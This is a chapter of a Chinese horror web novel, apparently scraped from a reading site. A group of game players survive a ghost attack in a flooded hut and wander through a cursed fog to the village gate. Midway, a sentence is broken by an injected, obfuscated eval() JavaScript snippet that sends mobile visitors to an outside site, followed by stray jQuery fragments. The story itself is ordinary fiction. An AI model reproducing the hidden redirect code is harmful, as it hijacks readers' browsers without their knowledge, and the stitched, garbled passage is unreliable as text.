司昼一哽,表情变得十分复杂。应不染像是看到了什么好玩的东西似的,笑得花枝乱颤,把一旁的李舟吓得都快贴在墙上了,以为她被什么东西上身了。
“不逗你们了,休息吧,咱们不睡觉,鬼怎么压床?”她也不顾周围人的表情,说完便自顾自地闭上眼,也不知道是不是真睡着了,反正一时之间没有人再说话了。
不知道什么时候,屋外的风声也平息了,屋内只剩下头顶钟表时针转动的声音,在寂静的夜里规律地响着。
司昼偏头看到自始至终都一言不发的晏寻。
他没有躺下,支着一条腿,阖着眼靠坐在墙边。司昼知道他并没有睡,那是一种没有完全放松的,戒备的防御姿态。
对于不知道什么时候回到来的危险,他是随时做好准备的。
司昼其实是很疑惑的。他不明白自己为什么会和这个只见了一次面的人绑定在了一起,虽然说他并不知道这个绑定到底有什么用,而被绑定的另外一个人看上去也不知道。
但是就目前的情况来看,绑定的一大作用,大概就是会把他们两个强行扔进同一个副本吧。
虽然多了这么个武力值变态的队友,但对方似乎并不怎么乐意。
他有些烦闷。
一天的长途跋涉加上提心吊胆,司昼郁闷地躺在梆硬的炕上,也不由得被困意席卷,竟然就这么不知不觉地睡着了。
再一睁眼,他置身在一个纯白的地方。环视四周,他甚至不能确定自己脚下是否踩在地上。
周围没有任何东西,只有司昼自己和他的影子。
他很清楚地知道自己身在梦里,反而让他有些迷茫,因为他无法控制自己的身体。与其说是做梦,不如说是在看一段回忆。
司昼感受到自己开始行走,但周身没有任何参照物,让他就像是在虚空里原地踏步。
走了没几步,像是撞上了什么东西。他停了下来,向前伸手,似乎想去触摸是什么挡住了路。
明明眼前什么都没有,手指却摸到了屏障,它也在司昼触摸到的瞬间荡起层层波澜。
几乎是同时,他听见了一道声音,不是从四周传来,而是来自他的脑内:“值得吗?”
声音冷冰冰的,司昼觉得很熟悉,不知道是不是因为身处梦境,他怎么都想不起来是从哪里听见过这个声音。
梦里的自己似乎很厌恶这个声音,无视了它,继续将整个手掌贴上了屏障,激荡的波纹如同投石入水,整个纯白的空间都开始波动。
面前的虚空慢慢浮现出一个人影,手掌与他紧密相贴。那人长着一张和司昼一般无二的脸,他们之间的屏障就像是一面镜子。
司昼心下骇然,但他却清晰地感受到梦中的自己没有丝毫情绪波动。他挣扎着想要抽回手,却是徒劳。
对面的人缓缓睁开眼睛,黑洞洞的眼睛映出他平静的脸。司昼突然很恍惚,这真的是他的脸吗?
肩上突猛地一沉,极具穿透力的钟声突兀地回荡在他耳边,他听见自己的声音:“该醒了。”
身心巨震,他刷得睁开眼,整个人就像是从水里拎出来似的。条件反射地想起身,却感觉到肩膀被按住,那人力气极大,只是压住他半边肩膀就无法动弹。
钟声还在回荡,是屋子里老式钟表报时的声音。
“别动,”那人声音很低,几乎是凑在他耳边,司昼立马认出了是晏寻的声音,果断放弃挣扎,从善如流地躺平。
眼睛很快适应了黑暗,晏寻白皙的侧脸近在咫尺。感受到对方轻而缓的呼吸打在自己的颈侧,司昼慢慢侧过脸。
一张青色的脸趴在炕沿,黑色的头发紧贴在两颊,跟他面对面几乎要贴上!
那鬼脸上两颗灰色的眼珠机械地转动,见他转过脸来,嘴角裂开一个诡异的弧度。
一股潮湿的腐败气息猛往司昼鼻腔里钻,他感觉自己多年未愈的鼻炎都要痊愈了。此时此刻,他的脑子里面就一句话:
臭手回冬啊,庸医!
我感觉难受多了!!!
千钧一发之际,晏寻铁钳般的手捏住他的肩膀,猛地把他往后一推。司昼猝不及防,惊叫着从土炕上栽了下去。
“噗通”一声,他重重摔在地上,只觉得身下一片冰凉湿润。低头一看,地上不知道何时积了一层水,泛着淡淡的腥气,浸湿了他的衣服。
地上的水还在源源不断的增加,原本只没过脚面的水正在以肉眼可见的速度上涨,不过一眨眼的功夫,就漫到了小腿。
晏寻推开他的一瞬间,那鬼脸就朝他扑来。晏寻反应迅速,侧身躲过的同时,抬手狠狠一拳砸了上去,发出一声沉闷的响声。
鬼脸被打的一个趔趄,不但不后退,反而更加凶戾地嘶吼一声,再次扑了上来。屋子内空间有限,鬼脸动作却极其灵活,晏寻一时之间竟难以制服它,只能不断闪躲,与它缠斗在一起。
“这哪来的水啊!”
又是两声落水,司昼听见应不染叫骂出声,他赶忙连滚带爬朝她们的方向跑过去。
应不染托住踉跄的小姑娘,一把抓住司昼,语速飞快:“李舟怎么都叫不醒,我弄不动他,你快去把他拽起来!”
另外一边打的昏天黑地,李舟居然还在炕上呼呼大睡。司昼揪起他的领子,拼命摇晃他,李舟却还是纹丝不动。
这不对劲!
“出去!”晏寻声音少见的急切,“到外面去!”
来不及多想,司昼咬牙,卡住李舟的腋下,将他拖下炕。应不染暗骂了一句,将他扶上司昼的背。
应不染淌着水冲向木门,可那看上去摇摇欲坠的木门,此时就像是钢筋铁板般,任凭她怎么撞都纹丝不动。司昼狠踹了几脚,反而震得他脚发麻。
“操,这破门!”
墙壁的缝隙和茅草屋的天花板上不断流出水,没过膝盖的水刺骨的冷,司昼感觉自己浑身发抖。
晏寻喝道:“让开!”
司昼闪身往门边一躲,只听一声凄厉的尖叫,鬼脸重重撞在撞在门上。巨大的力道瞬间撞开原本纹丝不动的门,门闩也应声断裂,木屑飞溅。
而那鬼脸一接触到外面弥漫的大雾,突然发出一声哭喊似的啸叫,身体像是被什么东西灼烧般扭曲,眨眼间消失得无影无踪。
众人见状也顾不上多想,应不染拽着小姑娘冲了出去。司昼背着李舟,回头看向晏寻,后者还是一如既往的面无表情,声音因用力而有些沙哑:“走。”
鬼脸消散,屋里面的水也都流了出来。此时,屋子里面除了刚才晏寻和那鬼打斗的痕迹,几乎看不出刚才发生了什么。
“外面似乎也没什么,”应不染拧了一把衣服上的水,警惕地打量四周弥漫的雾气,没好气地说,“反而是屋里面忒不安全了,那老头蒙我们呢吧?!”
司昼伸手探了探背上还在昏睡着的李舟,他呼吸绵长,真的只是睡得很沉。
“天亮还早,既然出来了,不如去周围打探一下吧。”司昼向晏寻递去一个询问的眼神,对方轻轻点了点头。
见全队武力值最高的大佬都同意了,应不染也没什么意见,反正她也不想待在这鬼屋里,风水烂得下一秒就屋塌人亡。
众人深一脚浅一脚地朝着记忆里村口的方向挪动,浓重的雾气给所有人眼前都加了一层毛玻璃,将一切都搅弄得模糊不清
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411836|184624||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,每走一步都提心吊胆的。
“我怎么感觉……不太对劲啊。”司昼停下脚步,抹了一把头上冒出的细汗,“刚才好像来过这里。”
他自认为方向感不错,只要走过一遍的路就不会走错。可此时,他盯着眼前白茫茫的雾气,明明该是泥泞的土路,却变成了布满碎石的小径,两旁本该是低矮的茅草屋,竟出现了几棵歪歪扭扭的老槐树。
树影在雾中张牙舞爪,似是潜伏在暗处的猛兽,伺机而动。
“来过这里……”小姑娘声音细细的,不知道是累的,还是吓的,脸色很苍白,“我刚才不小心绊了一下,这里又出现了我的脚印。”
她指着的地方是一块不甚明显的石头,湿润的土地上印着个有刮擦痕迹的鞋印,鞋码很小,一看就是小孩子的。
手机不仅没有信号,自带的指南针还像陀螺似的乱转。应不染收起手机,喃喃自语:“这雾太邪门了吧。”
“怎么办,还能找到回去的路吗?”背上的李舟向下滑,司昼吃力地把他往背上拽。
应不染突然停下脚步,众人一愣。只见她闭上眼睛,左手三指飞快掐算,嘴里还念念有词,声音又轻又快。片刻后,她猛地睁开眼睛,伸出手指指向左前方:“障眼法罢了,这边走,能出去。”
“你……你真的是道士?”司昼睁大眼,眼前这个打扮的颇为标新立异的女孩居然真的是个道士。
应不染一撩自己五颜六色的头发,耳朵上一排耳钉差点闪着司昼的眼:“怎么,不像吗?”
“……”
雾气似乎越来越浓,脚下的路也越来越不好走,好几次司昼差点滑倒。不知道走了多久,他感觉自己的大腿都在发抖,只能机械地跟着前面的人影挪动。
就在他快要坚持不住,把背上的李舟扔下来的时候,应不染突然停了下来,声音欢快:“到了。”
顺着她的目光看过去,只见雾气中隐约浮现出一个熟悉而模糊的轮廓。随着脚步的靠近,轮廓也越发清晰。
“大门!”小姑娘难得笑了出来,激动的抓紧了应不染的牛仔裤,眼睛亮晶晶的。
简陋的门楼出现在视野里,破败的茅草勉强维持着楼顶的形状,确实是他们进来时看到的那个大门。
“……竟然真的找到了,太不可思议了。”司昼喃喃自语,直勾勾地盯着面前的门楼,一时之间都忘记擦汗,豆大的汗珠直挺挺地落进他的眼睛里,杀的他生疼。
看着眼前近在咫尺的出口,他心里竟然没有一丝逃出生天的喜悦。隐隐的不安如同细小的尖刺扎进他的心里,他扭头望向村子深处的方向,声音嘶哑:“苏芮还在村子里呢!而且……而且,我总感觉有哪里不对劲。”
他顿了顿:“太顺了……太顺了……”
天空中血红的倒计时穿过云雾,清晰地映在每一个人的视网膜上,众人一时之间都对司昼的话沉默以对。
一时气血上头,司昼突然反应过来,自己刚才居然在要求大家,为了一个不过一面之缘的玩家,放弃求生的机会?!
他真是疯了!
司昼抿抿唇,张嘴想要说什么的时候,一只手落到他肩上,轻轻捏了一下。他转头望去,晏寻侧头望着他们过来的方向,声音轻而低:“你是对的,还没有结束。”
司昼“啊”了一声,顺着他的目光看过去。
周围的雾气突然开始涌动,像是被什么东西搅动了一般。紧接着,无数星星点点的火光在雾中闪烁起来,起初像远处而来萤火虫的光,微弱而零散,可转眼间就变得密集起来,像漫天飞舞的鬼火,从四面八方朝他们围拢过来。
“这……这是什么,鬼火?!”